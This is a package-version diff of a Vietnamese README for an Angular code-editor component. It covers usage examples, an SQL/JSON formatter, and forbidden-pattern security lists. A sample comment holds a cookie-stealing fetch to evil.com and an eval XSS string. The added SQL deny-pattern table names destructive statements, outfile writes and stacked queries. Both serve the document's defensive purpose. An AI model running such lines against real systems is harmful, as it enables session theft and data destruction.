@libs-ui/components-preview-text-data 0.2.357-4 → 0.2.357-40

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -11,6 +11,8 @@
11
11
  - Highlight cú pháp cho 14 ngôn ngữ: JavaScript/TypeScript, HTML, CSS/SCSS, JSON, SQL, XML, YAML, Python, Java, C/C++, PHP, Go, Markdown, Plain Text
12
12
  - Linter tích hợp phát hiện lỗi cú pháp thời gian thực cho JavaScript, JSON, SQL, Python
13
13
  - IntelliSense với dot-notation: định nghĩa object/biến sẵn, gợi ý properties/methods khi gõ dấu chấm (giống IDE)
14
+ - **Nút "Định dạng" trên thanh công cụ**: bấm một lần là nội dung SQL/JSON tự căn chỉnh — người dùng không phải gõ dấu cách và xuống dòng bằng tay. Nút tự ẩn khi ô chỉ-đọc hoặc ngôn ngữ chưa có bộ định dạng
15
+ - **Style đã đủ dùng, nơi dùng KHÔNG phải viết thêm CSS**: font có glyph tiếng Việt cho cả ô nhập lẫn popup gợi ý, popup tách tên trường khỏi mô tả, dòng đang gõ / con trỏ / ngoặc khớp cặp / vùng bôi đen đều theo màu của thư viện
14
16
  - Security policy: chặn pattern nguy hiểm (string hoặc RegExp) ngay khi gõ, chặn paste chứa vi phạm, emit danh sách vi phạm qua `(outViolations)`
15
17
  - Lazy load ngôn ngữ: chỉ tải extension khi cần, tối ưu bundle size
16
18
  - Non-destructive update: đổi ngôn ngữ, wrap, completions không làm mất nội dung hay vị trí con trỏ
@@ -62,264 +64,363 @@ import {
62
64
 
63
65
  ## Ví dụ sử dụng
64
66
 
65
- ### 1. Chế độ xem (Read-only) — ẩn thanh công cụ
67
+ ### 1. Chế độ Xem (Read-only)
66
68
 
67
- ```typescript
68
- // my-viewer.component.ts
69
- import { ChangeDetectionStrategy, Component } from '@angular/core';
70
- import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
69
+ Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
71
70
 
72
- @Component({
73
- selector: 'app-my-viewer',
74
- standalone: true,
75
- changeDetection: ChangeDetectionStrategy.OnPush,
76
- imports: [LibsUiComponentsPreviewTextDataComponent],
77
- template: `
78
- <libs_ui-components-preview_text_data
79
- [content]="configCode"
80
- [langSelected]="'json'"
81
- [hiddenAction]="true"
82
- background="#fcfcfc" />
83
- `,
84
- })
85
- export class MyViewerComponent {
86
- readonly configCode = `{
87
- "projectName": "Libs UI",
88
- "version": "2.0.0",
89
- "features": ["Signals", "CodeMirror", "OnPush"]
90
- }`;
91
- }
71
+ ```html
72
+ <libs_ui-components-preview_text_data
73
+ [content]="readonlyCode"
74
+ [langSelected]="'javascript'"
75
+ [hiddenAction]="true"
76
+ background="#fcfcfc" />
92
77
  ```
93
78
 
94
- ### 2. Chế độ chỉnh sửa với Linter và đổi ngôn ngữ
95
-
96
79
  ```typescript
97
- // sql-editor.component.ts
98
- import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
99
- import {
100
- LibsUiComponentsPreviewTextDataComponent,
101
- IPreviewTextDataChange,
102
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
103
- } from '@libs-ui/components-preview-text-data';
104
- import { Diagnostic } from '@codemirror/lint';
105
-
106
- @Component({
107
- selector: 'app-sql-editor',
108
- standalone: true,
109
- changeDetection: ChangeDetectionStrategy.OnPush,
110
- imports: [LibsUiComponentsPreviewTextDataComponent],
111
- template: `
112
- <libs_ui-components-preview_text_data
113
- [content]="sqlQuery"
114
- [(langSelected)]="currentLang"
115
- [editable]="true"
116
- [langsAccept]="['sql', 'javascript', 'json']"
117
- (outChange)="handlerChange($event)"
118
- (syntaxErrors)="handlerSyntaxErrors($event)" />
119
-
120
- @if (lintErrors().length) {
121
- <div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
122
- Lỗi cú pháp: {{ lintErrors()[0].message }}
123
- </div>
124
- }
125
- `,
126
- })
127
- export class SqlEditorComponent {
128
- readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
129
- readonly lintErrors = signal<Diagnostic[]>([]);
130
- readonly sqlQuery = `SELECT id, name, email
131
- FROM users
132
- WHERE status = 'active'
133
- ORDER BY created_at DESC
134
- LIMIT 50;`;
135
-
136
- handlerChange(event: IPreviewTextDataChange): void {
137
- event.stopPropagation?.();
138
- console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
139
- }
140
-
141
- handlerSyntaxErrors(errors: Diagnostic[]): void {
142
- this.lintErrors.set(errors);
143
- }
144
- }
80
+ readonly readonlyCode = `/* Standalone Code Preview */
81
+ function checkStandards(component) {
82
+ return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
83
+ }`;
145
84
  ```
146
85
 
147
- ### 3. IntelliSense với dot-notation (giống IDE)
86
+ ---
148
87
 
149
- ```typescript
150
- // js-intellisense.component.ts
151
- import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
152
- import {
153
- LibsUiComponentsPreviewTextDataComponent,
154
- IPreviewTextDataCompletionItem,
155
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
156
- } from '@libs-ui/components-preview-text-data';
88
+ ### 2. Chế độ Chỉnh sửa & Linter
157
89
 
158
- @Component({
159
- selector: 'app-js-intellisense',
160
- standalone: true,
161
- changeDetection: ChangeDetectionStrategy.OnPush,
162
- imports: [LibsUiComponentsPreviewTextDataComponent],
163
- template: `
164
- <libs_ui-components-preview_text_data
165
- [content]="starterCode"
166
- [(langSelected)]="lang"
167
- [editable]="true"
168
- [completions]="completions"
169
- background="#fafbfc" />
170
- `,
171
- })
172
- export class JsIntelliSenseComponent {
173
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
90
+ Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
174
91
 
175
- readonly starterCode = `// Gõ "user." hoặc "config." để xem gợi ý
176
- function process() {
177
- const name = user.
178
- const url = config.
179
- }`;
92
+ ```html
93
+ <div class="flex flex-col gap-4">
94
+ <libs_ui-components-preview_text_data
95
+ [content]="jsonContent"
96
+ [(langSelected)]="editableLang"
97
+ [editable]="true"
98
+ [langsAccept]="['json', 'javascript', 'sql']"
99
+ (syntaxErrors)="onSyntaxErrors($event)" />
180
100
 
181
- readonly completions: IPreviewTextDataCompletionItem[] = [
182
- {
183
- label: 'user',
184
- type: 'variable',
185
- detail: 'object',
186
- info: 'User object — thông tin người dùng hiện tại',
187
- properties: [
188
- { label: 'id', type: 'property', detail: 'number', info: 'Unique user ID' },
189
- { label: 'name', type: 'property', detail: 'string', info: 'Họ và tên đầy đủ' },
190
- { label: 'email', type: 'property', detail: 'string', info: 'Địa chỉ email' },
191
- { label: 'role', type: 'property', detail: "'admin' | 'user'", info: 'Vai trò trong hệ thống' },
192
- { label: 'logout', type: 'method', detail: '() => Promise<void>', info: 'Đăng xuất tài khoản' },
193
- ],
194
- },
195
- {
196
- label: 'config',
197
- type: 'variable',
198
- detail: 'object',
199
- info: 'Application configuration',
200
- properties: [
201
- { label: 'apiUrl', type: 'property', detail: 'string', info: 'Base URL của API server' },
202
- { label: 'timeout', type: 'property', detail: 'number', info: 'Request timeout (ms)' },
203
- { label: 'debug', type: 'property', detail: 'boolean', info: 'Bật debug logging' },
204
- ],
205
- },
206
- ];
207
- }
101
+ @if (linterErrors().length) {
102
+ <div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
103
+ Error: {{ linterErrors()[0].message }}
104
+ </div>
105
+ }
106
+ </div>
208
107
  ```
209
108
 
210
- ### 4. Security policy — chặn pattern nguy hiểm
211
-
212
109
  ```typescript
213
- // secure-editor.component.ts
214
110
  import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
215
- import {
216
- LibsUiComponentsPreviewTextDataComponent,
217
- DEFAULT_SECURITY_PATTERNS,
218
- IPreviewTextDataViolation,
219
- PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
220
- } from '@libs-ui/components-preview-text-data';
111
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
112
+ import { Diagnostic } from '@codemirror/lint';
221
113
 
222
- @Component({
223
- selector: 'app-secure-editor',
224
- standalone: true,
225
- changeDetection: ChangeDetectionStrategy.OnPush,
226
- imports: [LibsUiComponentsPreviewTextDataComponent],
227
- template: `
228
- <libs_ui-components-preview_text_data
229
- [content]="starterCode"
230
- [(langSelected)]="lang"
231
- [editable]="true"
232
- [forbiddenPatterns]="securityPatterns"
233
- (outViolations)="handlerViolations($event)"
234
- background="#fafbfc" />
235
-
236
- @if (violations().length) {
237
- <div class="p-3 bg-red-50 border border-red-200 rounded mt-2">
238
- <p class="text-sm font-semibold text-red-700 mb-1">
239
- Phát hiện {{ violations().length }} vi phạm bảo mật:
240
- </p>
241
- @for (v of violations(); track v.from) {
242
- <p class="text-xs text-red-600 font-mono">
243
- Dòng {{ v.line }}: "{{ v.matched }}" — vi phạm pattern {{ v.pattern }}
244
- </p>
245
- }
246
- </div>
247
- }
248
- `,
249
- })
250
- export class SecureEditorComponent {
251
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
252
- readonly violations = signal<IPreviewTextDataViolation[]>([]);
253
- readonly securityPatterns = DEFAULT_SECURITY_PATTERNS;
114
+ // [content]="jsonContent" — nội dung JSON mẫu ban đầu
115
+ readonly jsonContent = `{
116
+ "projectName": "Libs UI",
117
+ "version": "1.0.0",
118
+ "features": ["Signals", "CodeMirror", "Standalone"],
119
+ "isBmadCompliant": true
120
+ }`;
254
121
 
255
- readonly starterCode = `// Code thuần — không gọi API hay truy cập storage
256
- function calculateTotal(items) {
257
- return items.reduce((sum, item) => sum + item.price * item.qty, 0);
258
- }
259
- // Thử gõ: eval("test") hoặc localStorage.getItem('key')
260
- // → sẽ bị highlight đỏ và chặn paste`;
122
+ // [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
123
+ readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
261
124
 
262
- handlerViolations(violations: IPreviewTextDataViolation[]): void {
263
- this.violations.set(violations);
264
- }
125
+ // linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
126
+ readonly linterErrors = signal<Diagnostic[]>([]);
127
+
128
+ // Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
129
+ onSyntaxErrors(errors: Diagnostic[]): void {
130
+ this.linterErrors.set(errors);
265
131
  }
266
132
  ```
267
133
 
268
- ### 5. Chỉ cho phép một ngôn ngữ cố định (không hiển thị dropdown)
134
+ ---
135
+
136
+ ### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
137
+
138
+ Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
269
139
 
270
140
  ```html
271
- <!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
272
141
  <libs_ui-components-preview_text_data
273
- [content]="jsonData"
274
- [(langSelected)]="lang"
142
+ [content]="''"
143
+ [(langSelected)]="codeInputLang"
275
144
  [editable]="true"
276
- [langsAccept]="['json']" />
145
+ [langsAccept]="['javascript', 'python']"
146
+ [minLines]="10"
147
+ [maxLines]="20" />
277
148
  ```
278
149
 
279
- ### 6. Màn nhập code (min/max số dòng + giới hạn ngôn ngữ)
280
-
281
150
  ```typescript
282
- // component.ts
283
- import { Component, signal } from '@angular/core';
284
- import { LibsUiComponentsPreviewTextDataComponent, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
151
+ import { signal } from '@angular/core';
152
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
285
153
 
286
- @Component({
287
- selector: 'app-code-input',
288
- standalone: true,
289
- imports: [LibsUiComponentsPreviewTextDataComponent],
290
- template: `
291
- <libs_ui-components-preview_text_data
292
- [content]="''"
293
- [(langSelected)]="lang"
294
- [editable]="true"
295
- [langsAccept]="['javascript', 'python']"
296
- [minLines]="10"
297
- [maxLines]="20"
298
- [zIndexPopover]="1500" />
299
- `,
300
- })
301
- export class CodeInputComponent {
302
- // Mặc định trống, chỉ cho JS/Python; editor hiện sẵn tối thiểu 10 dòng, vượt 20 dòng → xuất hiện scroll.
303
- readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
304
- }
154
+ // Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
155
+ // minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
156
+ readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
305
157
  ```
306
158
 
307
- ### 7. Editor tự fit theo container (min/max-height)
159
+ ---
308
160
 
309
- Thay vì truyền `minLines`/`maxLines`, bọc editor trong 1 div có `min-height`/`max-height` rồi truyền chính element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
161
+ ### 4. Editor tự fit theo container (min/max-height)
162
+
163
+ Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
310
164
 
311
165
  ```html
312
- <!-- #boxRef là template reference tới div container -->
166
+ <!-- #boxRef là template ref tới div container -->
313
167
  <div #boxRef class="min-h-[120px] max-h-[300px]">
314
168
  <libs_ui-components-preview_text_data
315
169
  [content]="''"
316
- [(langSelected)]="lang"
170
+ [(langSelected)]="codeContainerLang"
317
171
  [editable]="true"
318
172
  [langsAccept]="['javascript', 'python']"
319
173
  [containerElement]="boxRef" />
320
174
  </div>
321
175
  ```
322
176
 
177
+ ```typescript
178
+ import { signal } from '@angular/core';
179
+ import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
180
+
181
+ // Bọc editor trong div có min/max-height, truyền chính element đó vào.
182
+ // Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
183
+ readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
184
+ ```
185
+
186
+ ---
187
+
188
+ ### 5. JavaScript — IntelliSense với Object có sẵn
189
+
190
+ Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
191
+
192
+ ```html
193
+ <libs_ui-components-preview_text_data
194
+ [content]="jsStarterCode"
195
+ [(langSelected)]="jsAutocompleteLang"
196
+ [editable]="true"
197
+ [completions]="jsCompletions"
198
+ background="#fafbfc" />
199
+ ```
200
+
201
+ ```typescript
202
+ import { signal } from '@angular/core';
203
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
204
+
205
+ // [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
206
+ readonly jsStarterCode = `function printUserInfo() {
207
+ const userName = user.
208
+ const baseUrl = config.
209
+ return db.
210
+ }`;
211
+
212
+ // [(langSelected)]="jsAutocompleteLang"
213
+ readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
214
+
215
+ // [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
216
+ readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
217
+ {
218
+ label: 'user',
219
+ type: 'variable',
220
+ detail: 'object',
221
+ properties: [
222
+ { label: 'id', type: 'property', detail: 'number' },
223
+ { label: 'name', type: 'property', detail: 'string' },
224
+ { label: 'email', type: 'property', detail: 'string' },
225
+ { label: 'role', type: 'property', detail: "'admin'|'user'" },
226
+ { label: 'logout', type: 'method', detail: '() => Promise<void>' },
227
+ ],
228
+ },
229
+ {
230
+ label: 'config',
231
+ type: 'variable',
232
+ detail: 'object',
233
+ properties: [
234
+ { label: 'apiUrl', type: 'property', detail: 'string' },
235
+ { label: 'timeout', type: 'property', detail: 'number' },
236
+ { label: 'debug', type: 'property', detail: 'boolean' },
237
+ ],
238
+ },
239
+ // ... object "db" tương tự (host, port, query(), connect(), transaction()...)
240
+ ];
241
+ ```
242
+
243
+ ---
244
+
245
+ ### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
246
+
247
+ Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
248
+
249
+ ```html
250
+ <libs_ui-components-preview_text_data
251
+ [content]="jsDeepStarterCode"
252
+ [(langSelected)]="jsDeepAutocompleteLang"
253
+ [editable]="true"
254
+ [completions]="jsDeepCompletions"
255
+ background="#fafbfc" />
256
+ ```
257
+
258
+ ```typescript
259
+ import { signal } from '@angular/core';
260
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
261
+
262
+ // [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
263
+ readonly jsDeepStarterCode = `function buildUserCard() {
264
+ const ctx = app.
265
+ const avatar = app.user.profile.
266
+ const lat = app.user.profile.address.geo.
267
+ return app.services.auth.
268
+ }`;
269
+
270
+ // [(langSelected)]="jsDeepAutocompleteLang"
271
+ readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
272
+
273
+ // [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
274
+ // Gõ "app." → user, config, services
275
+ // Gõ "app.user.profile.address." → city, country, geo
276
+ readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
277
+ {
278
+ label: 'app',
279
+ type: 'variable',
280
+ detail: 'AppContext',
281
+ properties: [
282
+ {
283
+ label: 'user',
284
+ type: 'property',
285
+ detail: 'User',
286
+ properties: [
287
+ { label: 'id', type: 'property', detail: 'number' },
288
+ { label: 'name', type: 'property', detail: 'string' },
289
+ {
290
+ label: 'profile',
291
+ type: 'property',
292
+ detail: 'Profile',
293
+ properties: [
294
+ { label: 'avatar', type: 'property', detail: 'string' },
295
+ { label: 'bio', type: 'property', detail: 'string' },
296
+ {
297
+ label: 'address',
298
+ type: 'property',
299
+ detail: 'Address',
300
+ properties: [
301
+ { label: 'city', type: 'property', detail: 'string' },
302
+ { label: 'country', type: 'property', detail: 'string' },
303
+ {
304
+ label: 'geo',
305
+ type: 'property',
306
+ detail: 'GeoPoint',
307
+ properties: [
308
+ { label: 'lat', type: 'property', detail: 'number' },
309
+ { label: 'lng', type: 'property', detail: 'number' },
310
+ ],
311
+ },
312
+ ],
313
+ },
314
+ ],
315
+ },
316
+ ],
317
+ },
318
+ // ...config, services tương tự (mỗi cấp có 'properties' riêng)
319
+ ],
320
+ },
321
+ ];
322
+ ```
323
+
324
+ ---
325
+
326
+ ### 7. Python — IntelliSense với Class/Object
327
+
328
+ Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
329
+
330
+ ```html
331
+ <libs_ui-components-preview_text_data
332
+ [content]="pyStarterCode"
333
+ [(langSelected)]="pyAutocompleteLang"
334
+ [editable]="true"
335
+ [completions]="pyCompletions"
336
+ background="#fafbfc" />
337
+ ```
338
+
339
+ ```typescript
340
+ import { signal } from '@angular/core';
341
+ import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
342
+
343
+ // [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
344
+ readonly pyStarterCode = `def handle_request():
345
+ server = config.
346
+ data = request.
347
+ logger.
348
+ return server`;
349
+
350
+ // [(langSelected)]="pyAutocompleteLang"
351
+ readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
352
+
353
+ // [completions]="pyCompletions"
354
+ readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
355
+ {
356
+ label: 'config',
357
+ type: 'class',
358
+ detail: 'class Config',
359
+ properties: [
360
+ { label: 'host', type: 'property', detail: 'str' },
361
+ { label: 'port', type: 'property', detail: 'int' },
362
+ { label: 'debug', type: 'property', detail: 'bool' },
363
+ { label: 'to_dict', type: 'method', detail: '() -> dict' },
364
+ ],
365
+ },
366
+ // ... object "request" tương tự (method, url, headers, json()...)
367
+ {
368
+ label: 'logger',
369
+ type: 'variable',
370
+ detail: 'Logger',
371
+ properties: [
372
+ { label: 'info', type: 'method', detail: '(msg: str) -> None' },
373
+ { label: 'error', type: 'method', detail: '(msg: str) -> None' },
374
+ { label: 'warning', type: 'method', detail: '(msg: str) -> None' },
375
+ ],
376
+ },
377
+ ];
378
+ ```
379
+
380
+ ---
381
+
382
+ ### 8. Security Policy — Forbidden Patterns
383
+
384
+ Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
385
+
386
+ ```html
387
+ <libs_ui-components-preview_text_data
388
+ [content]="securityStarterCode"
389
+ [(langSelected)]="securityLang"
390
+ [editable]="true"
391
+ [forbiddenPatterns]="defaultSecurityPatterns"
392
+ (outViolations)="onSecurityViolations($event)"
393
+ background="#fafbfc" />
394
+ ```
395
+
396
+ ```typescript
397
+ import { signal } from '@angular/core';
398
+ import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
399
+
400
+ // [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
401
+ readonly securityStarterCode = `function calculateTotal(items) {
402
+ return items.reduce((sum, item) => sum + item.price * item.qty, 0);
403
+ }
404
+ // Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
405
+ // eval("alert('xss')")
406
+ // fetch('https://evil.com/steal?data=' + document.cookie)`;
407
+
408
+ // [(langSelected)]="securityLang"
409
+ readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
410
+
411
+ // [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
412
+ readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
413
+
414
+ // (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
415
+ readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
416
+
417
+ onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
418
+ this.securityViolations.set(violations);
419
+ }
420
+ ```
421
+
422
+ > ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
423
+
323
424
  ## @Input()
324
425
 
325
426
  | Input | Type | Default | Mô tả | Ví dụ |
@@ -338,6 +439,9 @@ Thay vì truyền `minLines`/`maxLines`, bọc editor trong 1 div có `min-heigh
338
439
  | `[maxLines]` | `number` | `undefined` | Số dòng tối đa hiển thị. Vượt quá → editor giới hạn chiều cao và xuất hiện vùng cuộn (đo line-height thật khi khởi tạo) | `[maxLines]="20"` |
339
440
  | `[zIndexPopover]` | `number` | `undefined` | z-index cho popover dropdown chọn ngôn ngữ (dùng khi editor nằm trong modal/overlay có z-index cao) | `[zIndexPopover]="1500"` |
340
441
  | `[containerElement]` | `HTMLElement` | `undefined` | Element bọc ngoài (đã set `min-height`/`max-height` CSS). Editor snap số dòng theo container: `min-height` → bù dòng trống cho đủ (hiện line-number 1..N), `max-height` → giới hạn + scroll. **CẤM** dùng cùng `[minLines]`/`[maxLines]` (throw lỗi) | `[containerElement]="boxRef"` |
442
+ | `[hiddenSearchLang]` | `boolean` | `false` | Ẩn ô tìm kiếm trong dropdown chọn ngôn ngữ (danh sách ngôn ngữ ngắn thường không cần search) | `[hiddenSearchLang]="true"` |
443
+ | `[showFormatAction]` | `boolean` | `true` | Hiện nút "Định dạng" trên thanh công cụ. Nút chỉ hiện khi ô **sửa được** và ngôn ngữ đang chọn có bộ định dạng (`sql`, `json`) — ô chỉ-đọc mà mọc ra nút không làm gì thì người dùng bấm rồi tưởng hỏng | `[showFormatAction]="false"` |
444
+ | `[autoFormatOnLoad]` | `boolean` | `false` | Tự căn chỉnh ngay khi nạp nội dung. Mặc định **tắt**: nội dung người dùng đã lưu có thể đang căn theo ý riêng của họ, tự sửa lúc mở ra là ghi đè công của họ. Bật khi nguồn nội dung là máy sinh | `[autoFormatOnLoad]="true"` |
341
445
 
342
446
  ## @Output()
343
447
 
@@ -456,6 +560,81 @@ Các pattern được chặn:
456
560
  | `/document\.write\s*\(/i` | Ghi trực tiếp vào DOM |
457
561
  | `/window\.location\s*=/i` | Chuyển hướng trang |
458
562
 
563
+ ### DEFAULT_SQL_FORBIDDEN_PATTERNS
564
+
565
+ Bộ pattern chặn mặc định cho ô soạn **SQL** — dùng cho màn chỉ đọc (BI, dashboard, báo cáo).
566
+
567
+ ```typescript
568
+ import { DEFAULT_SQL_FORBIDDEN_PATTERNS } from '@libs-ui/components-preview-text-data';
569
+
570
+ [forbiddenPatterns]="DEFAULT_SQL_FORBIDDEN_PATTERNS"
571
+ ```
572
+
573
+ 🔴 `DEFAULT_SECURITY_PATTERNS` ở trên **chỉ chặn API JavaScript** (`eval`, `fetch`, `localStorage`…) nên không dùng được cho SQL.
574
+
575
+ | Pattern | Lý do |
576
+ |---|---|
577
+ | `/\b(drop\|truncate\|alter\|create)\b/i` | Câu lệnh đổi lược đồ |
578
+ | `/\b(delete\|update\|insert)\b/i` | Câu lệnh ghi dữ liệu |
579
+ | `/\b(grant\|revoke)\b/i` | Câu lệnh đổi quyền |
580
+ | `/\binto\s+outfile\b/i` | Ghi kết quả ra tệp trên máy chủ CSDL |
581
+ | `/\binformation_schema\b/i` | Đọc siêu dữ liệu — lộ toàn bộ danh sách bảng/cột |
582
+ | `/\bpg_[a-z_]+\b/i` | Bảng/hàm hệ thống PostgreSQL |
583
+ | `/;\s*\S/` | Dấu chấm phẩy còn nội dung phía sau ⇒ nối câu lệnh thứ hai |
584
+
585
+ Màn thật sự cần chạy câu lệnh ghi thì lọc bớt:
586
+
587
+ ```typescript
588
+ const choPhepGhi = DEFAULT_SQL_FORBIDDEN_PATTERNS.filter((p) => !String(p).includes('delete'));
589
+ ```
590
+
591
+ 🔴 Đây là lớp **thuận tiện** cho người dùng — báo sớm khi gõ sai loại câu lệnh, KHÔNG phải lớp bảo mật. Backend bắt buộc tự kiểm lại.
592
+
593
+ ## Định dạng nội dung
594
+
595
+ Nút "Định dạng" nằm sẵn trên thanh công cụ, không cần nơi dùng dựng gì. Hiện hỗ trợ `sql` và `json`.
596
+
597
+ ```sql
598
+ -- người dùng gõ
599
+ select a,b,count(*) as tong from bang_kh k left join bang_dm d on k.id=d.kh_id
600
+ where k.trang_thai='active' and d.ngay>=:page.tu_ngay group by a,b order by tong desc limit 50
601
+
602
+ -- sau khi bấm Định dạng
603
+ SELECT a,
604
+ b,
605
+ count(*) AS tong
606
+ FROM bang_kh k
607
+ LEFT JOIN bang_dm d
608
+ ON k.id = d.kh_id
609
+ WHERE k.trang_thai = 'active'
610
+ AND d.ngay >= :page.tu_ngay
611
+ GROUP BY a,
612
+ b
613
+ ORDER BY tong DESC
614
+ LIMIT 50
615
+ ```
616
+
617
+ Việc bộ định dạng SQL làm: mỗi mệnh đề một dòng · mỗi cột một dòng thụt vào · `AND`/`OR`/`ON` xuống dòng thụt thêm · câu con tăng một cấp thụt · từ khoá viết HOA · toán tử có đúng một dấu cách hai bên (`c=1` → `c = 1`).
618
+
619
+ Việc nó **không** làm — cố ý, để không bao giờ làm sai câu lệnh:
620
+
621
+ - Không đụng chữ trong chuỗi, định danh trích dẫn hay chú thích — `'select from where'` giữ nguyên
622
+ - Không tách danh sách ngắn: `y IN (1, 2, 3)`, `coalesce(a, 0)`, `OVER (PARTITION BY y)` giữ một dòng
623
+ - Không đổi tên bảng / tên cột — chỉ từ khoá mới viết hoa
624
+ - Không nhận nhầm dấu âm thành phép trừ: `LIMIT -1`, `b = -1` giữ nguyên
625
+ - JSON hỏng cú pháp (đang gõ dở) → trả nguyên văn, không làm mất chữ
626
+
627
+ **Nguyên tắc bất biến:** chỉ đổi khoảng trắng và chữ hoa-thường của từ khoá. Có `sqlChuanHoaDeSoSanh` để kiểm — bỏ hết khoảng trắng rồi chuẩn hoá thì bản trước và sau định dạng phải trùng khít.
628
+
629
+ ```typescript
630
+ import { sqlFormat, formatTheoNgonNgu, sqlChuanHoaDeSoSanh } from '@libs-ui/components-preview-text-data';
631
+
632
+ const gonGang = formatTheoNgonNgu(noiDung, 'sql'); // hoặc sqlFormat(noiDung)
633
+
634
+ // định dạng không bao giờ đổi nghĩa:
635
+ sqlChuanHoaDeSoSanh(gonGang) === sqlChuanHoaDeSoSanh(noiDung); // true
636
+ ```
637
+
459
638
  ## Ngôn ngữ được hỗ trợ
460
639
 
461
640
  | ID | Nhãn hiển thị | Linter |
@@ -489,14 +668,6 @@ Các pattern được chặn:
489
668
 
490
669
  ⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
491
670
 
492
- ## Demo
493
-
494
- ```bash
495
- npx nx serve core-ui
496
- ```
497
-
498
